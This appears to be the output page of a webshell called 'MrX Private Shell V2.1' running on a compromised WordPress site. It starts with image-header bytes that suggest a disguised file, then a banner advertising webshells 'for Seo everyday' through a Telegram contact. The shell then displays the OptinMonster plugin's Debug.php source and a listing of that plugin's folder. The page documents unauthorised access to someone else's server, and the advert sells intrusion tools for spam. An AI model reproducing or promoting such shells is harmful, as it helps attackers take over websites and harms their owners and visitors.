����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Output class.
*
* @since 2.6.0
*
* @package OMAPI
* @author Justin Sternberg
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Output class.
*
* @since 2.6.0
*/
class OMAPI_Debug {
/**
* Check if rules debug can be output.
*
* @since 2.0.0
*
* @return bool
*/
public static function can_output_debug() {
$rules_debug = ! empty( $_GET['omwpdebug'] ) ? sanitize_text_field( wp_unslash( $_GET['omwpdebug'] ) ) : '';
if ( $rules_debug ) {
$omapi = OMAPI::get_instance();
$disable = 'off' === $rules_debug;
$decoded = base64_decode( base64_decode( $rules_debug ) );
$debug_enabled = $omapi->get_option( 'api', 'omwpdebug' );
$creds = $omapi->get_api_credentials();
if (
! empty( $creds['apikey'] )
&& ( $decoded === $creds['apikey'] || $disable )
) {
$option = $omapi->get_option();
if ( $disable ) {
unset( $option['api']['omwpdebug'] );
$debug_enabled = false;
} else {
$option['api']['omwpdebug'] = true;
$debug_enabled = true;
}
update_option( 'optin_monster_api', $option );
}
$rules_debug = $debug_enabled || is_user_logged_in() && $omapi->can_access( 'rules_debug' );
}
// If query var is set and user can manage OM, output debug data.
return apply_filters( 'optin_monster_api_should_output_rules_debug', ! empty( $rules_debug ) );
}
/**
* Outputs general debug rule data.
*
* Borrowed heavily from Query Monitor plugin.
*
* @see https://github.com/johnbillion/query-monitor/blob/develop/collectors/conditionals.php#L25-L100
*
* @since 2.6.0
*
* @return void
*/
public static function output_general() {
// Get all registered post types.
$all_post_types = get_post_types( array(), 'objects' );
// Initialize an array to store the results.
$results = array();
// Iterate through each post type.
foreach ( $all_post_types as $post_type_object ) {
// Check if the post type is viewable.
if ( is_post_type_viewable( $post_type_object ) ) {
$post_type = $post_type_object->name;
// Evaluate if the current post is singular and of this post type.
$results[ is_singular( $post_type ) ? 'TRUE' : 'FALSE' ][] = "is_singular('{$post_type}')";
}
}
$conditionals = array(
'is_404',
'is_admin',
'is_archive',
'is_attachment',
'is_author',
'is_blog_admin',
'is_category',
'is_comment_feed',
'is_customize_preview',
'is_date',
'is_day',
'is_embed',
'is_favicon',
'is_feed',
'is_front_page',
'is_home',
'is_main_network',
'is_main_site',
'is_month',
'is_network_admin',
'is_page',
'is_page_template',
'is_paged',
'is_post_type_archive',
'is_preview',
'is_privacy_policy',
'is_robots',
'is_rtl',
'is_search',
'is_single',
'is_singular',
'is_ssl',
'is_sticky',
'is_tag',
'is_tax',
'is_time',
'is_trackback',
'is_user_admin',
'is_year',
);
foreach ( $conditionals as $conditional ) {
if ( ! function_exists( $conditional ) ) {
$results['N/A'][] = $conditional;
break;
}
// Special case for is_sticky to prevent PHP notices.
$id = null;
if ( ( 'is_sticky' === $conditional ) && ! get_post( $id ) ) {
$results['FALSE'][] = $conditional;
break;
}
// Special case for multisite $conditionals to prevent them from.
// being annoying on single site installations.
if ( ! is_multisite() && in_array( $conditional, array( 'is_main_network', 'is_main_site' ), true ) ) {
$results['N/A'][] = $conditional;
break;
}
// The default case.
$results[ call_user_func( $conditional ) ? 'TRUE' : 'FALSE' ][] = $conditional;
}
$results[ OMAPI_Utils::is_front_or_search() ? 'TRUE' : 'FALSE' ][] = 'is_front_or_search';
sort( $results['FALSE'] );
sort( $results['TRUE'] );
?>
<hr style="padding-top:15px;border-top:10px double red;"/>
<div style="padding:20px;margin:20px;">
<button type="button" onclick="javascript:this.parentElement.remove();document.querySelectorAll('._om-debugging').forEach(el => el.style.display = 'block')" class="button btn">
Show Verbose Debugging Info
</button>
</div>
<?php // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export ?>
<pre class="_om-debugging _om-optin">$conditionals: <?php echo esc_html( var_export( $results, true ) ); ?></pre>
<?php
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|